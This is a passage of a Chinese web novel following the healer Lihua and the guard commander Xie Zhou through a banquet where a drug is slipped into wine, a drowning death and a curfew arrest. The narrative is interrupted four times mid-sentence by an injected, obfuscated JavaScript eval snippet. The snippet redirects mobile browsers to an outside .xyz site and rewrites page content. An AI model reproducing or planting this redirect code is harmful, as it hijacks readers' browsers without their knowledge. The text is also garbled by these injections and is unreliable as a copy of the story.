谢舟大概真没认出她,不止让她倒酒,还像其他人一样把舞姬搂在怀里。 舞姬服饰太单薄,幸而有谢舟的衣袖隔挡,她还是不自在地左右挪,谢舟道:“小娘子这么着急?” 梨花推开他的胸膛结结巴巴解释:“大人,奴家不胜酒力,可否让奴家去更衣?” 谢舟感受到胸前纤细指尖上薄薄的茧,他不松手反把人箍得更紧,梨花一时不防“啊呀”叫出声,引得众人一片哄笑。 李遥道:“指挥使大人今日好兴致,多年不娶妻,本公还以为你有特殊癖好呢,哈哈哈。” 他说完席上笑闹声渐弱,没人敢应和,只有那木勒一起大笑,“你们汉人不是有句话,爱美之心人皆有之。” 李遥道:“素闻王子也是爱美之人,本公还有另一件礼物。” 话音落,门再次打开,四个健壮侍卫抬着一个盖红布的巨大物件进来。 侍卫把物件抬到正中,众人眼巴巴瞧着,李遥抬手示意,侍卫掀开红布。 红布之下是一座女子雕像,头戴九珠翠羽冠,面容端庄,衣衫薄如蝉翼,曼妙曲线一览无余。 李遥道:“此雕像唤作‘白玉观音’。” 那木勒掩盖不住惊喜的神情,上前伸手触摸,珠峰隆起,圆润滑腻,他喉头沙哑,“仙女下凡也不过如此,荣国公的礼物本王很喜欢。” 不同于那木勒的欣喜,席间官员神色各异,一时间杯盏碰撞之声都消失了。 那雕像的面容,发冠的样式,分明就是仁德皇后。 少数人似乎想证明什么,故意盯着雕像看,大多数人偏头不敢亵渎,又怕自己躲闪太过引起注意,似看非看僵在那儿。 李遥十分满意地欣赏众人复杂的表情,这就是他要的效果。 什么“九天仙女下凡尘,广施仁德甘霖来”,他偏要仙女入风尘,还要送给漠风人赏玩,否则咽不下这口气。 杨贞坠楼明志引起轩然大波,学子文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908079|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士上街游行,百姓议论纷纷,得知杨盈遇刺一片哗然。 与此同时,杨盈在京郊天承寺安置难民的事也传开了,小儿吟唱歌功颂德,乞丐朝天拜服涌向天承寺。 民间舆论彻底倒向杨盈,连朝臣都开始摇摆,皇帝在李潇的授意下站出来平息事态。 荣国公李遥因突发事件处置不当罚奉半年,锦衣卫指挥使谢舟肆意抓捕平民,念其护卫仁德皇后有功,罚奉三个月。 仁德皇后杨盈以太后仪仗回宫,仍号仁德,太后李潇赐封号端肃。 从此宁国有两位太后,以哪位太后为尊之争仍暗流涌动。 李遥借今日宴席试探朝臣态度,少部分人主动站队李家,剩下的虽没表态,但也不敢站在他们的对立面,只有谢舟闷头喝酒,云淡风轻探不出半点心思。 他旁边的舞姬倒是全身发红。 梨花心知醉仙楼是□□之处,但见一群男人赤裸裸盯着这座女子雕像,猥|琐男人对着雕像上下其手,她如鲠在喉,抄过案上酒杯一饮而尽。 谢舟伸手去拿,扑了个空,再一看身旁的人,红成一只虾子,牙齿死死咬着杯沿,似在泄愤。 他从红虾口中夺酒杯,红虾迷蒙着眼瞪他:臭男人,都一样! 梨花众目睽睽之下一口咬在谢舟虎口上,众人仿佛得到解脱,目光全向他们看过去。 发觉自己又引起注意,梨花终于清醒一点,将脸埋在谢舟肩头,作出一副娇羞姿态。 谢舟对她随时变脸见怪不怪,勉为其难蹦出两个字:“情趣。” 那木勒雕像摸够了,见此情此景哈哈大笑,谢舟也笑,众人再笑。 李遥举杯,众人轮番回敬,宴席终于恢复最初的欢声笑语。 酒过三巡,杯盏皆空,几个小厮进来送酒。 雕花银酒壶按在手里,躲在谢舟身旁装了一晚上鹌鹑的梨花终于抬头,见谢舟递过来一个眼神,她觉得莫名其妙。 难道真要搞什么情趣?她哪会这些。 好在她十分好学,草草看了一眼其他舞姬怎么侍候客人,提着酒壶就往谢舟嘴里塞。 谢舟微微侧头躲开,梨花疑惑,难道这酒不好喝,她揭开盖子闻了闻,挺香的呀,不对—— 牵丝引。 牵丝引是下给谢舟的,能在宴席上动手脚的人……电光石火之间梨花想清楚一切。 徐老板幕后之人就是李遥,谢舟和李遥也不是一伙的。 谢舟刺杀杨盈不成,堵小儿童谣不止,阻民间舆论不力,办差接连失败实属反常,李潇对谢舟疑心越来越重,她怕狗反咬主人,要给他牵绳。 他们已经用牵丝引暗中控制许多朝臣为他们所用,不介意再多谢舟一个。 这时门外老鸨闯进来走到李遥身边禀报:“有个舞姬被人弄晕,衣裳被扒了,脱下一身小厮衣裳……” 梨花警铃大作,怎么留下痕迹了,这可如何是好。 她脑中飞速合计怎么办,李遥突然出声: “怎么,谢大人不满意本公准备的酒?还是说这舞姬侍候的不满意?” 全场目光再次回到谢舟和梨花身上。 15. 乱人心智 李遥看出来,谢舟身边的舞姬就是躲在门外偷听之人,但二人反应不像同伙,不如把难题丢给他们,自己看好戏。 电光石火之间梨花也想清楚一切,上座这位便是幕后之人,他想用牵丝引控制谢舟,她调查徐老板才意外卷入,对李遥来说她无足轻重,只要让谢舟喝下牵丝引她就安全了。 选谢舟还是选自己,梨花没有丝毫犹豫,举起酒壶就往前送。 谢舟制住她的手腕,注视着她急切的目光。 一个不起眼的小女子,几次三番出现在不该出现的地方,很难不让人怀疑她别有用心,今天混进来不知打的什么主意。 既然来了,总得带点东西回去才能交差。 谢舟捏着梨花的手调转方向,“这个小娘子合我心意,借花献佛荣国公不介意吧。” 他似是询问,压根儿不在意李遥同意与否,直接将酒灌进梨花口中。 梨花使出全身力气拒绝,可她哪里能抵住谢舟,硬生生喝完一壶谢舟才松手。 “荣国公准备的酒味道可还满意……” 谢舟话还没说完,两瓣软肉堵住他的唇。 温热的暖流从舌尖滑过喉咙流进下腹,清冽的酒香,微弱的药香,少女的体香,几种味道一起冲上脑门,冲得他大脑一片空白。 直到悸动从下腹一路传上来,谢舟才意识到他被人强吻了。 “荣国公准备的酒味道可还满意?” 这句话梨花原样送给他。 梨花正兀自得意,谢舟眼睛发红,打横抱起她在众目睽睽之下离开。 李遥万万没想到事情是这种走向,笑道:“原来谢大人喜欢泼辣主动的,哈哈哈。” 众人只当谢舟年轻气盛,兴致来了情难自抑,互相交换了然的眼神继续喝酒,话题也悄然变了。 ———— 风月佳话的男女主此刻正在另一间雅室。 梨花被丢在地上,谢舟抱起茶壶往脸上浇水。 梨花盘腿靠着床沿笑嘻嘻问:“谢大人,那是热水吧,不烫吗?” 谢舟低头,面前人珠帘摘下,头发披散,粉白肌肤撞进眼中,笑容放肆别开生面,他的心跟着漏跳了一拍。 谢舟恼怒,掀开被子把人裹成蚕蛹堆在床上,转头开门叫人送冰块。 一串小厮端着冰经过李遥的雅室,众人见状又是一阵心照不宣的哄笑。 笑声传到谢舟耳中格外清晰,他赤脚踩在冰堆上,过了半晌才道:“你可真厉害,刚撩拨完杨贞又来勾引我。” 看了半天热闹的梨花突然被提问,她哭笑不得张口反驳,“我何时……” 不知怎的心中突然升起恶作剧的念头。 “谢大人不会还是个雏吧?” 她语气轻浮,像极了画本子里调戏良家妇女的纨绔公子。 此话一出,谢舟刚压下去的火再次腾升,口中干渴难耐,他把梨花禁锢在身下,瞳孔扩张,“你知不知道自己在说什么?” 火热的气息喷洒在脸上,梨花终于有惹火上身的危机感,可被谢舟灌酒的仇还记着,她梗着脖子问:“你知不知道自己喝了什么?” 谢舟不说话,脸又靠近半分,梨花忙言:“牵丝引。” 看他并不知道牵丝引是何物,梨花解释道:“西域迷药,乱人心智,使人上瘾。” 谢舟眼神瞬间暗下来,他想到李遥在酒里加东西,无非是春|药一类下三滥之物,没想到是想借药物控制他,他倒低估了此人的险恶。 “你怎么知道他在酒中加了牵丝引?” “你不也知道里面有东西,不想喝才逼我喝的吗?” 梨花一反常态处处与谢舟针锋相对,她知道这次得罪狠了他,既然死定了,索性装都不装,心里想什么便说什么。 谢舟看出她的心思,修长的手指轻抚她的脸颊,粗粝的手指在红唇上摩挲。 “让一个人死的方式有很多种,让人求死不能我更有经验,你想试试?” 梨花疯狂摇头。 谢舟起身,把人从被子里放出来,脱下外衫扔给她。 梨花给台阶就下,穿上衣服乖巧坐在床边,主动坦白自己来查徐老板的事。 听她说完偷听到的内容,谢舟坐在桌边面无表情。 整个京城怕是大半官员被牵丝引控制了。 他眼神回到梨花身上:“可有解药?” 梨花笑答:“谢大人不必担心,你只喝了一口,再踩会儿冰就好了。” 谢舟一个眼刀杀过来,梨花轻咳两声:“毒药本身也是解药,曼陀罗灰烬甫以甘草即可。” 谢舟眼神淡淡没说什么,梨花心怀鬼胎躺倒假寐。 ———— 次日一早,梨花偷偷摸摸从后门回还春堂,被等在门口的阿香抓个正着。 “你一夜未归,穿着男人衣裳偷跑回来,做什么去了?” 梨花思忖,昨夜的事牵扯甚广,他们知道的越少越安全,正想个由头糊弄阿香,梅伯从屋里出来。 “你们俩细软都收拾好了吧?马车已经联系过,吃了早饭就过来。” 阿香回道:“好了好了,再换身轻便衣裳就来。” 回到房间,梨花换衣服,阿香拿出两个包袱放在桌上,道:“今日是在还春堂的最后一日了,我和阿爹准备回乡下,这几天挣了点钱,够回乡下再开一间医馆,养活咱们三个人没问题。” 梨花身子顿了一下没答话,阿香走到她身边有些惋惜叹气:“还是说你想留在京城,也对,京城好吃好玩,穆易还没见到呢……” 梨花忽然直起身,“谁说今日是最后一日?” “咱们没赚够五十两,铺子保不住,都怪我。” 阿香越说声音越小,被骗借印子钱的是她,雇佣短工二强的也是她,还春堂接连的灾祸都是因她而起。 梨花本想安慰她,转念一想,人一旦陷入自责情绪很难释怀,她拍拍阿香肩膀,“行了啊,再哭来不及去车马行退钱,又损失一笔。” “啊?” “啊什么啊,还不去退?” “哦哦。” 有梨花在什么麻烦都能化解,这段时间阿香已经习惯什么都听梨花的,她一下止住眼泪跑出门。 梨花捏捏手中金针,也出门往当铺而去。 金针当的钱,加上之前剩下的,刚好五十两出头。 梨花揣着银两往回走,路过千金方医馆,王生被催债的人赶出来,头发乱糟糟,只穿一件里衣,一脸无助站在街上。 王生也曾阔过,温补汤生意刚做起来,业内谁提到千金方不赞叹,如今这般楼起楼塌,难免令人唏嘘。 他一回头看见梨花站在街角,匆忙低下头。 梨花没过去,绕远路走开。 她来京城只短短几天却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918502|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛过了半生。 难民营神秘的盈娘,坠楼明志的杨贞,用心险恶的李遥,还有让人琢磨不透的谢舟,她感觉被一股无形的网纠缠。 高调如千金方,低调如还春堂,没有谁能在这张网中全身而退。 走到一半,梨花想起递上去的状纸,专门去衙门取回状纸撤诉。 她用尽全力,堪堪保住自己与还春堂,其他人和事,她管不了许多。 晚间,阿香出门买肉做了一桌菜,三人庆祝“劫后余生”。 梅伯一直少言寡语,今天难得高兴喝了点酒,话多起来。 “还春堂是阿香她娘留下的,我以为……多谢方姑娘,老朽敬你一杯。” 梨花道:“梅伯和阿香愿意收留我,是我该道谢,您还叫我方姑娘就是和我见外。” 阿香皱眉,给他们一人夹一只鸡腿,“好端端吃饭,你们谢来谢去做什么,搞得好像外人一样。” 梅伯和梨花都怔住,一层看不见的隔膜悄然消失。 “对,梨花,不谢,哈哈哈。” 梅伯粗犷的笑声在屋中回荡,酒喝得急了,他忘记自己不良于行,猛一起身差点摔倒,阿香慌忙去扶却被凳子腿绊倒,梅伯没事,她摔个狗吃屎。 梨花噗嗤笑得拍大腿,阿香气急败坏挠她痒痒肉,两个人叫闹声快把屋顶掀了,梅伯看得摇头,直叹这是两个长不大的孩子。 烛光明灭,梅伯眼前一片朦胧。 ———— 夜里,梅伯喝多早早睡去,阿香带梨花爬上房顶。 星辰闪烁,凉风习习,多日疲惫一扫而空。 阿香伸手指向天空,“梨花,你看那个就是我阿娘,阿娘在我很小时候就去了,我都记不住她的样子了,阿爹说阿娘会一直在天上看着我们,最亮的那颗就是她。” 梨花顺着阿香手指的方向望过去,银河漫天,每颗都很闪。 阿香晕乎乎问:“你阿爹阿娘呢?” 梨花想了想,指着刚才的位置,“你阿娘旁边的就是我阿爹和阿娘。” 阿香歪着头看了半天,“他们凑在一起聊什么呢。” “不知道。” 阿香突然站起来大喊,“你们大点声,我听不清。” 她身子摇摇晃晃,梨花赶紧把人拽回来坐好,“你喝多了,咱们回去吧。” “我才没喝多,告诉你一件事,晚间听说千金方的王生掌柜在河边溺死了。” 梨花脑中轰然。 “据说他去县衙鸣冤,官老爷说他诬告别人,当堂打了板子叫人丢出去,那处离归流河不远,他失足掉进去。都说死在水里的最邪乎,一直没人敢去收敛。” “还有还有,那天一起递状纸的几家店,不是突发火灾就是遭人盗窃,真是够倒霉的。” …… 阿香倒豆子一样说个不停,后面的梨花一句也没听进去。 她投降得足够快,还春堂被从“刺头”名录里摘出去。 王生就没她聪明,非要以卵击石。 梨花很满意自己的做法,将酒坛里的酒一饮而尽。 一整夜,阿香鼾声如雷,这样安全的环境,梨花没有半分睡意。 天刚破晓,她披上外袍在街上漫游,走着走着就去了归流河。 河流下游,王生面朝下趴着,头浸在水里,四肢有挣扎痕迹。 他是被人溺死的。 16. 前世今生 太阳东升西落,从不为任何人例外,无论好坏,日子都要过下去,梨花从小就明白这个道理。 从归流河回来已经日上三竿,阿香睡过头才准备开店,梨花手里拿着张纸从外面回来。 阿香抄过纸一看,惊呼:“你要参加太医院医考?” 太医院门口贴出告示:三年一度的太医公开遴选即将开始,有意愿参选者可报名,这是普通人进入太医院的唯一途径。 梨花抽回报名表坐到柜台后磨墨,“没错。” “可是太医院从来没有女医。” “是没有,那我就当第一个。” 阿香不懂梨花哪里来的自信,但梨花向来很有主意,她笑笑转身去开店门。 一开门吓了一跳,门外站着个俊秀的男子,男子作揖,“请问店家,方梨可在此处?” 阿香没见过此人,但男子的模样人畜无害,想了想答道:“我帮你问问她在还是不在。” 男子抱拳道谢。 不一会儿,梨花从柜台出来,男子背身站在阶上,一袭浅云色广绣长袍,暗压的竹纹在阳光下若隐若现。 梨花心道:好一个气度非凡的翩翩公子,我何时认识此等人物。 听见脚步声,男子回头,原来是杨贞。 不同前两次见面时的清雅,今天的杨贞更多了几分毫不逼人的贵气。 梨花心神荡漾了一瞬,低头看自己素色的裙子,暗恼没有好好打扮一番。 她率先打招呼:“杨公子身体可好些了?” 杨贞眉眼弯弯注视梨花,温柔回答:“多谢方姑娘救命之恩,今日能下地了。” 梨花心脏扑通扑通狂跳:他才能行走就来见我吗? 她按下悸动问道:“公子找我有事?” 杨贞道:“两次得姑娘相助,想当面道谢,不知姑娘可愿赏光?” 梨花脸发红,跟杨贞上马车。 马车行走大概半个时辰,到地方,马夫撩开车帘,一阵清香扑面而来,漫山遍野的花朵磅礴绽放,白色雪海美得惊心动魄。 梨花扶杨贞缓缓下车,杨贞道:“这里是春溪涧,每年春天梨花盛放。” 梨花站在花海中感叹:“你是怎么找到这人间仙境的。” 杨贞微笑望着闭眼在树下转圈的梨花,道:“从前无处可去,走着走着来到这里,此处人烟稀少,我就坐在亭子里看山、听水。” 杨贞在春溪涧看了三年花,花是死的,心也是死的。 后来他从笔墨间看到一个女孩的生活,她喜欢在院子里种菜养鸡,能浇粪水、会捉青虫、与黄鼠狼斗智斗勇……她的真实感让他觉得自己还活着。 亭子里,茶气氤氲,鲜活的梨花在眼前开放。 杨贞贪婪地嗅着花香,许久才道:“那天你救了我,我很开心。可是那样的情况,你不该救我。” 春风拂过,梨花望着雪海纷飞,情绪翻涌。 “世道不公,百姓无力,人人自危,有人愿意站出来振臂高呼,即便我没有勇气声援,也不想让他独自流血黯淡退场。” 杨贞怔怔望着梨花的背影,喃喃道:“当年我也是这般想的。” 康平二十二年,七年前的京城。 那时杨贞和谢舟都只有十九岁,因为父辈交情,二人从小便相识。杨父与谢父都是武将,以为两个小子将来也会从军,让两人比试枪法。 杨贞红枪一扔,“打打杀杀何时是尽头。” 谢舟捡起枪打了一套精锐枪法,“杨行勉,打不过我当逃兵可不是办法。” 杨贞掩卷扬长而去,“谢无涯,朝堂上见。” 一年后,杨贞成了宁国有史以来最年轻的进士,杨家门庭若市,谢舟隐姓埋名从火头兵做到校尉,再往上提拔时才被人认出是谢家公子。 当时京城贵女为谁是第一美男吵破了头。 谢舟耍完枪擦着汗道:“凭什么我排第二。” 杨贞收墨欣赏刚作的《民训》,随口道:“当然是因为我文字笔墨更得人心。” 二人在廊下喝酒,一饮尽胸臆。 不久,宁国和漠风战事骤起,宁国节节退败,杨贞父亲死于战场,姑母和表兄赴漠北为质,杨家倾颓,杨贞急流勇退消失在众人视野。 谢贞父亲谢谦击退敌军,新帝登基,谢谦被人检举通敌,满朝文武无人敢言。 杨贞再次出现,站上朝堂为谢谦据理力争,谁知打倒他的却是谢贞。 两个意气风发的少年,一个成了孤臣,一个成了佞臣,寥寥几句道尽半生,梨花听得唏嘘。 杨贞道:“那日我恍惚看见谢舟了,狱中也是他带走你,他对你似乎不同。” 会耍长枪的谢家公子,跪在祠堂满面凄苦的谢舟,令人闻风丧胆的锦衣卫指挥使,哪个才是真正的他? 梨花失神自语:“有……不同吗?” 一阵沉默,茶凉了,杨贞重新泡上。 “礼部拟定七日后迎回仁德——太后。” 梨花回神,“恭喜杨公子心愿达成,马上与亲人相聚。” 杨贞倒茶的手一顿,“姑娘若愿意,可以叫我杨贞或……杨大哥。” “你也别一口一个姑娘,叫我梨花吧。” “好,梨花。” “杨大哥,为何迎回太后这样的大事会如此仓促?” 杨贞放下茶壶,眼中晦暗,“七日后也是先帝忌日。” 许多人许多事会在这一天之后发生翻天覆地的变化。 杨行勉死在摘星楼,穆易葬在春溪涧。 过去种种再难言说,此后世间只有杨贞。 ———— 与杨贞分别后,梨花取上报名表去了太医院。 小吏打量梨花一眼。 “是医户子弟吗” “我爹会医术,我师承于父。” “没登记在册的不算。有人保举吗?” “还春堂梅大夫作保。” “有大夫不行,没大夫更不行,哈哈哈。” 几个小吏笑成一团,将报名表扔在地上。 梨花捡起报名表声调陡然提高:“太医院中门大开广纳英才,你们处处为难是什么意思?” 小吏双腿架在桌上,“咱们都是按规矩办事,何来为难一说。你要实在想报名,还有第三条路——捐官补任。” “好,我捐官补任。” 梨花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15931210|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气势汹汹离开。 新来的人问:“真能捐官补任吗?” 小吏往后靠,小胡子一撇一撇:“按规矩可以,至于这规矩嘛……哈哈哈” 未尽的话淹没在几人的笑声中。 ———— 捐官的钱不是五十两、一百两这么简单,要整整三百两。 卖温补汤这种生意可遇不可求,自从铁匠上门闹过,卖盗版温补汤的生意彻底黄了,名声受损,连带其他买卖也日渐萧条。 好几日过去,还春堂一张没开,梨花索性给自己放假,出门闲溜达。 王生的尸身梨花偷偷花钱找义庄收了,归流河边又热闹起来。 她坐在河边大石上,旁边一胖一瘦两个浣衣的妇人聊天。 “你这肚子还没动静?” “吃了几副药,本说再去买,结果医馆起火,大夫烧伤把店盘出去了,你说这叫什么事儿。” “去城西新开那家看看呗,我男人去拿药,可便宜了。” “什么药?” “就那种药呗。”胖妇人挤眉弄眼。 痩妇人斜楞她,“男人们去的地方我怎么去。” 她们有一搭没一搭聊着,梨花捏着手里的海风藤出神。 这是从王生手里抠出来的,他死得不甘心。 梨花伸脚蹉碾碎石,对海风藤自言自语:“你是不是怪我抢你生意,还是怨我临阵逃脱?我只是个小丫头,哪敢以卵击石,那些什么都能做的大人物不肯帮忙,你叫我如何?” 她故意说牵丝引的解药需要曼陀罗灰烬,赌谢舟会毁掉这些曼陀罗,岂料新一批曼陀罗都种进千金方后院了,谢舟仍旧毫无动静。 “王掌柜,你托梦吓一吓他。” 梨花觉得这个主意十分有才,想到谢舟被鬼吓哭她就发笑,后又一想谢舟杀人无数,哪个鬼敢入他的梦,这个主意十分不可靠。 “你还是怪怨我吧,托梦告诉我哪些地方种了曼陀罗,我一把火烧了比较快。” 胡思乱想一阵,再一抬头已是日落西山。 梨花回到还春堂,阿香兴冲冲捧给她一个衣箧,里面装着新做的工服。 白色对襟窄袖短衣,袖口一个绣梨花一个绣梅花,干净素雅。 “早让裁缝铺做了,现在才得空取上。”阿香举起衣服在她身上比划。“还是姑娘打扮适合你,那些人爱来不来,看病买药还分什么男女。” 看病买药分男女? 梨花突然福至心灵抱起阿香,“你可真是大福星!” 阿香满头问号:梨花又想到什么鬼主意了。 “不过在这之前,我得先办另一件事。” 梨花放下阿香,换上深色衣服又出了门。 她一路打听,得知徐掌柜才来京城半年,易主的铺子就有七八家,这些医馆白天照常经营掩人耳目,只是问什么都说没货,渐渐来的客人就少了。 不确定哪几家种了曼陀罗,她只好一家家排查。 白天太过明目张胆,夜深人静,满大街黑漆漆,正是做坏事的好时候。 梨花沿着墙根摸到最早出事的医馆,大门紧锁,她正要掏出匕首撬门,附近传来脚步声。 17. 月黑风高 梨花转身躲在门柱侧面,只见一个黑影鬼鬼祟祟潜到门口,熟练地用小刀撬开门栓进去。 院子里杂乱种着各式药草,曼陀罗在其中不显眼,仔细一瞧却又排列规律。 黑影吹亮一把火折子,借着微弱的光,梨花看清那人的脸,居然是小川。 火折子已经送到曼陀罗根部,梨花慌忙进去阻拦。 听到身后有人,小川下意识伸手反掏擒住对方,只需稍稍一用力就能拧断对方的脖子。 梨花忙哑声道:“小川,是我!” 小川松手眯眼看她,“大晚上的做贼啊?” 她可不就是来做贼的,梨花心虚捶他,“你才做贼。” 小川满不在乎笑笑,“我就是做贼啊,可惜被你坏了好事。” “我?”梨花指指自己,“要不是我阻止你,现在周围百姓集体吸大|烟了。” 直接用火烧是毁掉曼陀罗最简单的方式,但也会害了周围无辜之人,梨花琢磨先来看看情况再动手,没想到碰见小川。 梨花:“你到底来干嘛的?” “我……” 二人没说两句话,街口亮起火光,几个士兵朝他们过来,胸前制服上有“巡捕”二字。 因为仁德太后还朝,又逢先帝忌日,京城从今日起实行宵禁,巡捕营士兵夜巡街道缉捕盗贼。 梨花没注意宵禁通知,半夜偷跑出来,幸亏没动手烧曼陀罗,不然更解释不清了。 但现在孤男寡女两个人站在别人院子里一样没法解释。 巡捕营士兵按住梨花和小川,从小川身上搜出匕首和火折子,匕首与门栓划痕能对上。 宵禁期间犯事被抓可不是闹着玩儿的,梨花谄媚求饶,“官兵大哥,都是误会,我们与这家店主是朋友。” 为首的把总冷哼一声:“撬友邻门户,罪加一等。” 梨花慌了,对小川挤眉弄眼示意他说话,小川泄力身体压在士兵手臂上,压根儿没有要解释的意思。 “哎,不是……” 梨花满头黑线,撬门的又不是她,她一路挣扎被士兵拖着向前。 这时,身后传来哒哒哒的马蹄声。 宵禁夜,还有谁会出现在此? 众人循声回头,街尾一辆马车缓缓驶来,车前挂着的灯笼随马车均匀摇晃,上面一个谢字格外亮眼。 宵禁夜,谢舟的马车能在京城横着走。 巡捕营士兵识相地退到墙根儿下让路,可马车不偏不倚停在把总面前。 把总心下一抖,自己何处得罪他了?面上堪堪稳住行礼:“指挥使大人。” 车帘缓缓揭起,露出一只骨节分明的手,面色冷峻看不出喜怒,疏离的目光穿过把总落在被士兵按住的梨花身上,短暂停留又看向把总。 “本官刚从宫里出来就听说爱妾失踪,原来是在这里私会野男人,多谢把总替本官抓到他二人。” 谢舟与摘星楼舞姬一吻定情的事传得沸沸扬扬,把总也有耳闻,他回头端详梨花,心疑:这舞姬长得也不是多美,怎么把谢舟魂儿给勾了?这就算了,还敢与人私会,啧啧啧。 奸夫淫|妇被原配抓包,好大的瓜,但是有毒,吃了小命不保。 把总精明得很,谢舟的家事他可不想掺和,挥手示意放了梨花。 梨花也发懵,怎么就成谢舟的爱妾了。 不过比起被抓回巡捕营,勉强当一下爱妾也不是不行。 谢舟手露在外面,梨花以为是给她搭把手,身子向前探,胳膊伸到一半对方收回手,她讪讪扶住车辕爬进去。 她几乎是跪着的,谢舟低头俯视她,一股威压紧紧裹着梨花让她忘记呼吸,长吸一口气后突然问: “他可以一起上来吗?” 此话一出世界骤然安静。 坐在车辕上的清溪听到差点呛死:不愧是她,每次都能气得人七窍生烟。 车外小川颇为欢欣:“没问题我就上去啦。” 清溪又是一噎:果然什么人交什么朋友。 谢舟声音幽幽传出:“家丑不外扬,把总知道如何做吧。” 把总抱拳点头,“自然自然。”谢舟发话压下此事他还能说什么,按着小川目送马车离去。 ———— 马车摇晃着,穿透暗夜长街。 梨花猜想谢舟一直派人盯着自己,这才在自己要毁曼陀罗之时突然出现,他究竟是什么态度? 思来想去想不通,梨花垂头靠在车厢上出神。 “你想做什么?” 谢舟突然开口,梨花从放空状态回神。 “毁掉曼陀罗。” 谢舟必然明白她之前的暗示,他没动手毁曼陀罗自有他的考量,可这份考量背后的代价她不愿接受。 于是她顿了顿又道:“我不知道你们这些大人物之间的恩怨,但为了种植曼陀罗设圈套害人,恕我不能接受。” 谢舟沉默一瞬道:“千金方的王生不是自己落水,是被人按头溺死的。” “我知道,他的尸身我找人收敛的。” 梨花拿出袖中的一截海风藤在指尖轻捻。 “刚到京城,我去千金方应聘,指出他将海风藤和断肠草弄混,他把我赶出来,当时我很不服气,也很看不起他。后来我知道他是被徐掌柜做局,而我成了千金方名声尽毁推手。” “我们一起去衙门告官,却被县衙以证据不足为由赶出来。我跟踪徐掌柜,发现他背后的人我惹不起,于是果断投降,凑钱还债取回状纸,所以还春堂没事。” 梨花声音低沉,谢舟轻声道:“明哲保身,你做得没错。” “错与对有何意义,王掌柜也没错,可千金方没了,他的命也没了。当初我多振振有词说他没有医德,现在我就多道貌岸然可笑至极。犹记得他看我的最后一眼,决绝、失望,我的退缩何尝不是压倒他的最后一根稻草。” 梨花手指紧紧攥着,眼眶发红。 透过那双泪盈盈的眼,谢舟好像望见当年的自己,他覆手握住她,“这是他的选择,与你无关。” 梨花没有被安慰到,愤怒甩开他:“他的死活与我无关,我们的死活也与大人您无关,所以明明有能力毁掉这些曼陀罗,您依旧选择袖手旁观。” “我从他手里拿到这根海风藤,我知道他只想讨个公道,可升斗小民哪来的公道?他坟茔未起,千金方后院已经种上曼陀罗!” 谢舟眼睫垂下没说话,强硬展开梨花的拳头,海风藤掉在谢舟的脚边,她想捡却被握住动不了,瘦削的手指一点点抚平她掌心的指痕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15945356|176306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梨花稳定住情绪,察觉到自己有些过分,想起那天谢舟被李遥逼喝牵丝引,她道:“您有您的身不由己,我不该逼您,但我想做什么,也请大人不要干涉。” 谢舟没有接话,一个颠簸,马车内的灯灭了,两人手还交握在一起,黑暗中只有心跳声不断放大。 月光透过窗纸照进来,光影明灭,长街被甩在身后。 马车内的时间停止流动,直到清溪勒马停在还春堂外。 梨花跳下车走了几步,摸摸掌心又回望已经落下的车帘方向。 “多谢。” 车帘那边许久才传来谢舟的声音:“所有选择都要付出代价。” 她在狱中同杨贞说的话,他原封不动还给她。 马车再次起伏,谢舟摸摸旁边的位置,余温不再。漫漫长夜,孤寂与温暖的感觉诡异结合起来,在谢舟胸膛荡漾。 ———— 这夜过后,一切都变得平静。 梨花受阿香的话启发,决定针对性别卖药,美容丹和养颜膏的幌子在牌匾旁高高竖起。 开始两天生意不大好,直到来了一位意外之客。 住在皇城边儿上的贵人很少主动的来南城,王夫人还是一副笑脸,走一步满脸铅粉往下掉,进门伸长脖子四处寻找什么。 梨花一打眼就认出她,放下手中药丸迎上去。 “这不是美若天仙的王家姐姐嘛,今日大驾光临,小店蓬荜生辉,快往里面请。” 梨花用尽毕生所学把王夫人奉承一遍,王夫人打量半天想不起是谁,从她油嘴滑舌的腔调中才反应过来,这就是那天叫她姐姐的小少年。 